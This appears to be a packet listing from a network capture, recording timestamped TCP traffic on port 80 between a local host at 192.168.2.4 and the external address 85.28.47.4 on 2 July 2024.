Jul 2, 2024 15:26:08.855427027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855438948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855447054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855485916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855597973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855608940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855626106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855635881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855642080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855657101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855658054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855671883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855686903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855691910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855705023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855706930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855731010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855746984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855834961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855845928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855870008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855875969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855885029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855899096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855906010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855931997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935097933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935137987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935148001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935172081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935185909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935203075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935214043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935239077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935261011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935271978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935287952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935287952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935300112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935338020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935338020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935338020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935348034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935360909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935385942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935394049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935414076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935425997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935447931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935448885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935458899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935460091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935480118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935482979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935494900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935497046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935513020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935518026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935527086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935544014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935627937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935640097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935657024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935667038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935672045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935688972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935692072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935703993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935720921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935720921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935734034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935740948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935753107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935836077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935847998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935867071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935878038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935899019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935934067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935947895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935961008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935976982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.935980082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935988903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.935992956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936002970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936019897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936026096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936032057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936052084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936058998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936063051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936067104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936084986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936093092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936374903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936414003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936419964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936427116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936453104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936465979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936599970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936611891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936630964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.936641932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.936661959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943146944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943192005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943202019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943208933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943221092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943231106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943236113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943257093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943264961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943272114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943289995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943296909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943305969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943314075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943332911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943340063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943346024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943352938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943372011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943377018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943386078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943404913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943417072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943427086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943444967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943458080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943460941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943483114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943497896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943842888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943855047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943872929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943892956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943902016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943917036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943929911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943948030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.943958044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.943981886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944273949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944319963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944320917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944335938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944359064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944375992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944390059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944403887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944416046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944432974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944442987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944446087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944456100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944457054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944478035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944493055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944503069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944509983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944524050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944530964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944557905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944565058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944569111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944588900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944600105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944601059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944611073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944627047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944631100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944641113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944643974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944662094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944673061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944680929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944681883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944698095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944700003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944715023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944719076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944729090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944736958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944752932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944756985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944772959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944775105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944787025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944787979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944807053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944822073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944844007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944855928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944873095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944883108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944889069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944902897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944906950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944917917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944931030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944937944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944941998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944953918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944957018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944972992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.944972992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944982052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.944996119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945007086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945010900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945027113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945028067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945036888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945040941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945059061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945065022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945074081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945080042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945089102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945099115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945106983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945120096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945194960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945205927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945225000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945235968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945240974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945259094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945260048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945271969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945286036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945291042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945297956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945307970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945312023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945327997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945337057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945348024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945359945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945378065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945388079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.945391893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945415974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.945431948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.024749041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024822950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024843931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024858952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024873972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024884939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.024885893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024907112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024919987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.024923086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024940968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024959087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024967909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.024970055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.024985075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.024987936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025006056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025011063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025023937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025036097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025055885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025082111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025093079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025115967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025119066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025131941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025137901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025149107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025149107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025168896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025173903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025182962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025188923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025206089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025207996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025218010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025227070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025238991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025243998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025258064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025260925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025276899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025281906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025291920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025306940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025326014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025330067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025336027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025341988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025362015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025365114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025376081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025376081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025393963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025407076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025494099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025505066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025521994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025543928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025554895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025650024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025661945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025680065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025700092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025701046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025717974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025719881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025729895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025743008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025748014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025759935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025759935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025770903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025779963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025785923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025791883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025804043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025815964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025820017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025830984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025834084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.025849104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.025862932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032629967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032670021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032680988 CEST	80	49730	85.28.47.4	192.168.2.4
